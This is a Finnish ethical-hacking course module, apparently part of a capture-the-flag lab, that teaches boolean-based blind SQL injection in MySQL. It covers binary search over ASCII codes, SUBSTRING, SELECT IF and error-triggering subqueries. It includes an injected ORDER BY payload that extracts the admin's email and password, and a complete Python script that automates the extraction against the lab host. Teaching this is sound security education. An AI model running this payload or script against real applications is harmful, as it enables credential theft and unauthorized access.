SQL-Injektio

(MySQL) Totuuspohjainen Sokea SQL-Injektiotekniikka

Vaikea
45 min

Sokeat Haavoittuvuudet

Haavoittuvuuksista käytetään yleensä etuliitettä "sokea" jos hyökkääjän ei ole mahdollista suoraan HTTP-vastauksessa nähdä hyökkäyksen tulosta. UNION-tekniikka esimerkiksi onnistuessaan ei ole sokea, koska näet haluamasi tiedot tietokannan palauttamien rivien joukossa. Myöskään virhepohjainen tekniikka ei ole sokea, koska näet tiedot virheilmoituksen mukana. Mutta jos kumpikaan näistä ei onnistu, etkä saa suoraan HTTP-vastaukseen palautumaan minkäänlaisia tietoja tietokannasta, puhutaan sokeasta haavoittuvuudesta.

Jos kyllä, räpäytä kahdesti

Sokeita SQL-injektiohaavoittuvuuksia hyväksikäytetään tyypillisesti kysymällä sovellukselta kyllä tai ei -kysymyksiä. Esimerkiksi:

  • Onko admin-käyttäjän salasanan ensimmäinen kirjain A? Ei.
  • Onko admin-käyttäjän salasanan ensimmäinen kirjain B? Ei.
  • Onko admin-käyttäjän salasanan ensimmäinen kirjain C? Kyllä
  • Onko admin-käyttäjän salasanan toinen kirjain A? Ei.
  • ...

Hyväksikäyttö on siis huomattavasti hitaampaa eikä sokeisiin tekniikoihin kannata turvautua, jos esimerkiksi UNION tai virhepohjainen tekniikka on saatavilla.

Mutta mistä tietää mitä tietokanta vastasi? Tästä on karkeasti jaoteltuna kahta eri variaatiota, totuuspohjainen ja aikapohjainen sokea tekniikka.

  • Totuus (boolean) -pohjainen tekniikka: Jos vastaus on kyllä, HTTP-vastaus on hieman erilainen. Erilaisuus voi johtua mistä vain, esimerkiksi virhetilanteesta, joka tapahtuu jos vastaus on kyllä.
  • Aika (time) -pohjainen tekniikka: Jos vastaus on kyllä, odota X sekuntia ennen HTTP-vastauksen palauttamista.

Tässä moduulissa tutustumme totuuspohjaiseen tekniikkaan ja seuraavassa pääset kokeilemaan aikapohjaista.

ASCII-merkistö ja puolitushaku

Tutustuit aiemmassa moduulissa ASCII-merkistöön. Nyt sille tulee taas käyttöä, emme nimittäin oikeasti kysy tietokannalta että onko admin-käyttäjän salasanan ensimmäinen kirjain A, se olisi hirveän hidasta.

Siksi kysymme ennemmin, että onko salasanan ensimmäisen kirjaimen ASCII-koodi suurempi kuin X, tai pienempi kuin Y. Tulostettavia ASCII-merkkejä on 95, numerosta 32 (välilyönti) numeroon 126 (~).

Minkä tahansa kirjaimen saa selville max. seitsemällä yrityksellä kun käytetään puolitushakua (binary search). Aloitetaan kahden numeron puolivälistä ja puolitetaan hakualue joka kerta.

Sanotaan, että admin-käyttäjän salasana on "Simpukka". Hyökkäys voisi edetä seuraavasti:

  • [Hakualue: 32-126, Puoliväli: 79]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 79? Kyllä.
  • [Hakualue: 64-126, Puoliväli: 95]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 95? Ei.
  • [Hakualue: 81-95, Puoliväli: 88]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 88? Ei.
  • [Hakualue: 81-88, Puoliväli: 84.5]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 84? Ei.
  • [Hakualue: 81-83, Puoliväli: 82]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 82? Kyllä.
  • Päättely: Salasanan ensimmäisen merkin ASCII-arvo on 83, joka vastaa kirjainta S.

SUBSTRING

Jotta voisimme hakea admin-käyttäjän salasanan ensimmäisen kirjaimen, tarvitsemme SQL-funktion, joka palauttaa sanasta vain yhden kirjaimen. Sellainen onneksi löytyy: SUBSTRING. Syntaksi on:

SUBSTRING("Sana", MISTÄ_KOHTAA, MONTAKO_KIRJAINTA)

Esimerkiksi: SUBSTRING("Simpukka", 1, 1) palauttaa kirjaimen S, kun taas SUBSTRING("Simpukka", 2, 1) palauttaa kirjaimen i.

Tässä esimerkki, joka hakee käyttäjän (jonka ID on 1) salasanan ensimmäisen kirjaimen (kannattaa kokeilla ja leikkiä näillä esimerkeillä selaimessa).

SQL Playground

SELECT IF

Mutta miten kysymme tietokannalta kysymyksiä? SELECT IF -lauseke on tähän kätevä. Lauseke palauttaa yhden kahdesta SELECT-vaihtoehdosta, riippuen ehdon lopputulemasta. Syntaksi on:

SELECT IF (EHTO, MITÄ_JOS_TOTTA, MITÄ_JOS_EI_TOTTA)

Tässä on kaksi esimerkkiä, joita voit kokeilla:

SQL Playground
SQL Playground

ASCII

ASCII-funktiolla saadaan kirjain muutettua numeroksi (ASCII-koodiksi).

SQL Playground

Virheen aiheuttaminen

Voimme tässä harjoitustehtävässä käyttää seuraavanlaista keinoa virheen aiheuttamiseksi, jos vastaus kysymykseemme on "kyllä".

SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1);

Jos 1=1, palauta kaksi riviä (1 ja 2), joka aiheutta sovelluksessa virheen. Muuten, palauta vain 1, joka ei aiheuta virhettä.

SELECT * FROM user ORDER BY first_name,(SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1)) ASC

Virhe (sovellus ei palauta yhtäkään kontaktia).

SELECT * FROM user ORDER BY first_name,(SELECT IF(1=2,(SELECT 1 UNION SELECT 2),1)) ASC

Ei virhettä, kontaktit palautuu.

1=1 korvaaminen oikealla kyselyllä

Kun olemme päässeet tähän pisteeseen, olemme jo pitkällä. Seuraava vaihe on korvata 1=1 oikealla kyselyllä, joka hakee tietokannasta haluamamme tiedot. Tavoite on saada sovellus ajamaan jotakin tämän suuntaista:

SELECT * FROM user ORDER BY first_name,(SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(email,password) FROM user WHERE admin=1),1,1))>80,(SELECT 1 UNION SELECT 2),1)) ASC

Kokeile muuttaa lukua 80 pienemmäksi ja suuremmaksi, ja päätellä ensimmäinen kirjain manuaalisesti.

Automaatio Pythonilla

Työ on manuaalisesti hieman hitaan puoleista. Sinulla on harjoitustehtävässä käytössäsi VSCode-kehitysympäristö. Voit halutessasi kopioida alla olevan Python-koodin tiedostoon (vaikka attack.py) sekä täyttää istuntotunnisteen ja URL-osoitteen. Aja se sitten seuraavasti:

python3 ./attack.py

Älä kuitenkaan hyppää suoraan tähän vaiheeseen, vaan koita ratkoa ainakin ensimmäinen kirjain manuaalisesti yllä kuvatulla tavalla.

On tärkeää ymmärtää ensin miten ja miksi asiat toimivat kuten toimivat, ja vasta sitten siirtyä automatisoimaan niitä työkaluilla. Muuten törmäät seinään heti kun työkalu ei toimikaan.

#!/usr/bin/env python3


import requests
import time


BASE_URL = 'https://www-your-instance-id.ha-target.com/contacts'
QUERY = 'SELECT CONCAT(email,":",password) FROM user WHERE admin=True'
SESSION_ID = '.eJwlzjsOwjAMANC7ZGawE3_iXqZyYkdlbemEuDtIvBO8d9nXmddRttd556PszyhboVhSmViYV3UUk0oxFWe6WUsO4sAB2L05EYIJV6ThOAnMubeRloEOyhLL2DBboqj34S3rzEhCbsA6F5jCXILsojpF-4hWfpH7yvO_QcDy-QLDUC7b.YN43Ag.HdgJjyARejmOhGf_IBm08gZ0LD4'
CAUSE_ERROR = '(SELECT 1 UNION SELECT 2)'


def is_true(pos, operator, value):
    payload = f'(SELECT IF(ASCII(SUBSTRING(({QUERY}),{pos},1)){operator}{value},{CAUSE_ERROR},1)) ASC-- '
    sort = f'first_name,{payload}'
    res = requests.get(BASE_URL, params={
        'sort': sort,
        'direction': 'ASC'
    }, cookies={'session': SESSION_ID})
    result = len(res.content) < 30000

    print(f'[*] ASCII at pos {pos} {operator} {value}: {result}', flush=True)
    time.sleep(0.2)
    return result

pos = 1
result = ''
high = 128
low = 32

while True:
    try:
        mid = int((high + low)/2)
        if is_true(pos, '>', mid):
            low = mid
        else:
            high = mid
        
        if abs(high - low) <= 1:
            if is_true(pos, '=', high):
                result += chr(high)
            else:
                result += chr(low)
            pos += 1
            high = 128
            low = 32
            print('> %s' % result)
            if is_true(pos, '=', 0):
                break
        
    except KeyboardInterrupt:
        break

print('[+] Done. Result: %s' % result)

Kuka sammutti valot?

Tässä labrassa pääset harjoittelemaan sokeaa totuus (boolean) -pohjaista SQL-injektiotekniikkaa.

Tavoite

Kirjaudu admin-käyttäjänä.

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.